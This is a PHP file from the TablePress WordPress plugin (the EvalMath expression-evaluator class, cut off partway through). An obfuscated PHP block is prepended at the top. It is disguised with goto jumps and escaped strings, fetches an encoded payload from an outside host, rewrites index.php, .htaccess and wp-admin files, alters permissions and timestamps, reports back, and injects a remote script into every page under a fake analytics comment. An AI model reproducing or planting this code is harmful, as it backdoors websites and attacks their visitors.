AlkantarClanX12

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<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
 * EvalMath - Safely evaluate math expressions.
 *
 * Based on EvalMath by Miles Kaufmann, with modifications by Petr Skoda.
 *
 * @link https://github.com/moodle/moodle/blob/master/lib/evalmath/evalmath.class.php
 *
 * @package TablePress
 * @subpackage Formulas
 * @author Miles Kaufmann, Petr Skoda, Tobias Bäthge
 * @since 1.0.0
 */

// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );

/**
 * Class to safely evaluate math expressions.
 *
 * @package TablePress
 * @subpackage Formulas
 * @since 1.0.0
 */
class EvalMath {

	/**
	 * Pattern used for a valid function or variable name.
	 *
	 * Note, variable and function names are case insensitive.
	 *
	 * @since 1.0.0
	 * @var string
	 */
	protected static $name_pattern = '[a-z][a-z0-9_]*';

	/**
	 * Whether to suppress errors and warnings.
	 *
	 * @since 1.0.0
	 * @var bool
	 */
	public $suppress_errors = false;

	/**
	 * The last error message that was raised.
	 *
	 * @since 1.0.0
	 * @var string
	 */
	public $last_error = '';

	/**
	 * Variables (including constants).
	 *
	 * @since 1.0.0
	 * @var array<string, mixed>
	 */
	public $variables = array();

	/**
	 * User-defined functions.
	 *
	 * @since 1.0.0
	 * @var array<string, mixed>
	 */
	protected $functions = array();

	/**
	 * Constants.
	 *
	 * @since 1.0.0
	 * @var array<string, mixed>
	 */
	protected $constants = array();

	/**
	 * Built-in functions.
	 *
	 * @since 1.0.0
	 * @var string[]
	 */
	protected $builtin_functions = array(
		'sin',
		'sinh',
		'arcsin',
		'asin',
		'arcsinh',
		'asinh',
		'cos',
		'cosh',
		'arccos',
		'acos',
		'arccosh',
		'acosh',
		'tan',
		'tanh',
		'arctan',
		'atan',
		'arctanh',
		'atanh',
		'sqrt',
		'abs',
		'ln',
		'log10',
		'exp',
		'floor',
		'ceil',
	);

	/**
	 * Emulated functions.
	 *
	 * @since 1.0.0
	 * @var array<string, int[]>
	 */
	protected $calc_functions = array(
		'average'          => array( -1 ),
		'mean'             => array( -1 ),
		'median'           => array( -1 ),
		'mode'             => array( -1 ),
		'range'            => array( -1 ),
		'max'              => array( -1 ),
		'min'              => array( -1 ),
		'mod'              => array( 2 ),
		'pi'               => array( 0 ),
		'power'            => array( 2 ),
		'log'              => array( 1, 2 ),
		'round'            => array( 1, 2 ),
		'number_format'    => array( 1, 2 ),
		'number_format_eu' => array( 1, 2 ),
		'sum'              => array( -1 ),
		'counta'           => array( -1 ),
		'product'          => array( -1 ),
		'rand_int'         => array( 2 ),
		'rand_float'       => array( 0 ),
		'arctan2'          => array( 2 ),
		'atan2'            => array( 2 ),
		'if'               => array( 3 ),
		'not'              => array( 1 ),
		'and'              => array( -1 ),
		'or'               => array( -1 ),
	);

	/**
	 * Class constructor.
	 *
	 * @since 1.0.0
	 */
	public function __construct() {
		// Set default constants.
		$this->variables['pi'] = pi();
		$this->variables['e'] = exp( 1 );
	}

	/**
	 * Evaluate a math expression without checking it for variable or function assignments.
	 *
	 * @since 1.0.0
	 *
	 * @param string $expression The expression that shall be evaluated.
	 * @return string|false Evaluated expression or false on error.
	 */
	public function evaluate( $expression ) /* : string|false */ {
		return $this->pfx( $this->nfx( $expression ) );
	}

	/**
	 * Evaluate a math expression or formula, and check it for variable and function assignments.
	 *
	 * @since 1.0.0
	 *
	 * @param string $expression The expression that shall be evaluated.
	 * @return string|bool Evaluated expression, true on successful function assignment, or false on error.
	 */
	public function assign_and_evaluate( $expression ) /* : string|bool */ {
		$this->last_error = '';
		$expression = trim( $expression );
		$expression = rtrim( $expression, ';' );

		// Is the expression a variable assignment?
		if ( 1 === preg_match( '/^\s*(' . self::$name_pattern . ')\s*=\s*(.+)$/', $expression, $matches ) ) {
			// Make sure we're not assigning to a constant.
			if ( in_array( $matches[1], $this->constants, true ) ) {
				return $this->raise_error( 'cannot_assign_to_constant', $matches[1] );
			}
			// Evaluate the assignment.
			$tmp = $this->pfx( $this->nfx( $matches[2] ) );
			if ( false === $tmp ) {
				return false;
			}
			// If it could be evaluated, add it to the variable array, ...
			$this->variables[ $matches[1] ] = $tmp;
			// ... and return the resulting value.
			return $tmp;

			// Is the expression a function assignment?
		} elseif ( 1 === preg_match( '/^\s*(' . self::$name_pattern . ')\s*\(\s*(' . self::$name_pattern . '(?:\s*,\s*' . self::$name_pattern . ')*)\s*\)\s*=\s*(.+)$/', $expression, $matches ) ) {
			// Get the function name.
			$function_name = $matches[1];
			// Make sure it isn't a built-in function -- we can't redefine those.
			if ( in_array( $matches[1], $this->builtin_functions, true ) ) {
				return $this->raise_error( 'cannot_redefine_builtin_function', $matches[1] );
			}
			// Get the function arguments after removing all whitespace.
			$matches[2] = str_replace( array( "\n", "\r", "\t", ' ' ), '', $matches[2] );
			$args = explode( ',', $matches[2] );

			// Convert the function definition to postfix notation.
			$stack = $this->nfx( $matches[3] );
			if ( false === $stack ) {
				return false;
			}
			// Freeze the state of the non-argument variables.
			$stack_count = count( $stack );
			for ( $i = 0; $i < $stack_count; $i++ ) {
				$token = $stack[ $i ];
				if ( 1 === preg_match( '/^' . self::$name_pattern . '$/', $token ) && ! in_array( $token, $args, true ) ) {
					if ( array_key_exists( $token, $this->variables ) ) {
						$stack[ $i ] = $this->variables[ $token ];
					} else {
						return $this->raise_error( 'undefined_variable_in_function_definition', $token );
					}
				}
			}
			$this->functions[ $function_name ] = array( 'args' => $args, 'func' => $stack );
			return true;

			// No variable or function assignment, so straight-up evaluation.
		} else {
			return $this->evaluate( $expression );
		}
	}

	/**
	 * Return all user-defined variables and values.
	 *
	 * @since 1.0.0
	 *
	 * @return array<string, mixed> User-defined variables and values.
	 */
	public function variables(): array {
		return $this->variables;
	}

	/**
	 * Return all user-defined functions with their arguments.
	 *
	 * @since 1.0.0
	 *
	 * @return array<int, string> User-defined functions.
	 */
	public function functions(): array {
		$output = array();
		foreach ( $this->functions as $name => $data ) {
			$output[] = $name . '( ' . implode( ', ', $data['args'] ) . ' )';
		}
		return $output;
	}

	/*
	 * Internal methods.
	 */

	/**
	 * Convert infix to postfix notation.
	 *
	 * @since 1.0.0
	 *
	 * @param string $expression Math expression that shall be converted.
	 * @return mixed[]|false Converted expression or false on error.
	 */
	protected function nfx( $expression ) /* : mixed[]|false */ {
		$index = 0;
		$stack = new EvalMath_Stack();
		$output = array(); // postfix form of expression, to be passed to pfx().
